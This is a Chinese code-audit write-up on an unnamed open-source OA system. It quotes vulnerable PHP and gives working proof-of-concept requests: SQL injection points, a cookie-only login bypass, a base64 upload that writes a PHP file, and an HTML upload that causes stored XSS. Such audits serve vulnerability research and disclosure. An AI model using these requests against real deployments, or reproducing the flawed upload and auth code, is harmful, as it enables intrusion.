参考链接:某开源oa审计
补充了这位师傅没提到的几个洞,大同小异,基本上都是同类型问题。环境使用小皮面板搭建。欢迎各位师傅补充。
注:本文目的为技术交流与分享,提升自身技能水平,请勿利用本文所提到的方法进行恶意的攻击与破坏,遵守中华人民共和国网络安全法的相关规定,否则所造成的的一切后果与本人无关,阅读本文默认接受此协定。如有侵权请联系我删除。
未授权访问漏洞+前台SQL注入漏洞
发现数个文件存在未授权访问漏洞。究其原因没有包含鉴权文件checklogin.php
同时发现这个文件几个参数存在很明显的SQL注入漏洞。
if($suserxm!=''){
$sql=$sql." and userxm like '%$suserxm%'";
}
if($sjiabie!=''){
$sql=$sql." and jiabie like '%$sjiabie%'";
}
if($smudidi!=''){
$sql=$sql." and mudidi like '%$smudidi%'";
}
if($sniandu!=''){
$sql=$sql." and niandu like '%$sniandu%'";
}
$sql=$sql." ORDER BY id asc LIMIT ".($pindex - 1) * $psize.','.$psize;
$list =$db->fetchall($sql);
相似的这个目录下很多类似文件但是其他的都有做鉴权,所以可以说是后台注入,这里就不提了。
同时juese.php也存在类似问题
$sql="SELECT * FROM ".$db->tablename('juese') ." WHERE id>0";
if($key!=''){
$sql=$sql." and juese like '%$key%'";
}
$sql=$sql." ORDER BY id asc LIMIT ".($pindex - 1) * $psize.','.$psize;
$list =$db->fetchall($sql);
除此之外Api目录下的文件getlist.php也存在类似问题
switch ($_GET['action']) {
case 'zidian':
$zidian=$_GET['fenlei'];//获取id
$sql="SELECT * FROM ".$db->tablename('vxiangmu') ." WHERE zidian='$zidian'";
$list =$db->fetchall($sql);
逻辑缺陷登陆绕过漏洞
前面的SQL注入都是未包含鉴权文件checklogin.php引起的,那我们可以去观察下这个文件。发现鉴权写的有很多问题,只要保证以下参数值不为空且存在即可绕过。
Cookie: id=1; loginname=1; jueseid=1; danweiid=1; quanxian=1;
function islogin(){
if(isset($_COOKIE['id'])&&isset($_COOKIE['loginname'])&&isset($_COOKIE['jueseid'])&&isset($_COOKIE['danweiid'])&&isset($_COOKIE['quanxian'])){
if($_COOKIE['id']!=''&&$_COOKIE['loginname']!=''&&$_COOKIE['jueseid']!=''&&$_COOKIE['danweiid']!=''&&$_COOKIE['quanxian']!=''){
return true;
}
前台文件上传漏洞
这个未授权的文件很有意思,本意应该是想使用base64编码功能去写入图片,但是稍加修改即可传入恶意文件。
传入的$img前面必须要是以data:image/文件格式;base64,开头 然后后面跟上base64编码即可。然后$result[2]就是正则表达式中第二个()的部分,即为w+ $result[1]就是最外面的括号即正则匹配部分data:image/php;base64, 所以直接写入就OK了,提一嘴本来想写入的是 但是不知道为啥写入后自动去掉了> 所以索性直接传
$img = $_POST['imgbase64'];
if (preg_match('/^(data:s*image/(w+);base64,)/', $img, $result)) {
$type = ".".$result[2];
$path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;
}
$img = base64_decode(str_replace($result[1], '', $img));
@file_put_contents($path, $img);
exit('{"src":"'.$path.'"}');
POST /uploadbase64.php HTTP/1.1
Host: 192.168.19.25:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
imgbase64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
前台文件上传漏洞造成存储型XSS
寻思还有个未鉴权文件upload.php和upfile.php文件不能浪费啊,可好像都白名单写死了。但是在upload.php发现了端倪,这可以传html啊?
这里要手动传参dir=file,要不然会默认当成image类型处理
POST /upload.php?dir=file HTTP/1.1
Host: 192.168.19.25:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=eb570d137174d94106f5bc0a
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywlAMbJmcCIjUNS80
Content-Length: 178
------WebKitFormBoundarywlAMbJmcCIjUNS80
Content-Disposition: form-data; name="file";filename="1.html"
<script>alert(1)</script>
------WebKitFormBoundarywlAMbJmcCIjUNS80--
最后推一波朋友刚创建的知识星球,物有所值,后期肯定会涨价。我的一些实战文章和漏洞挖掘文章也会在里面更新。
原文始发于微信公众号(飞奔的狸花猫):记一次某开源OA代码审计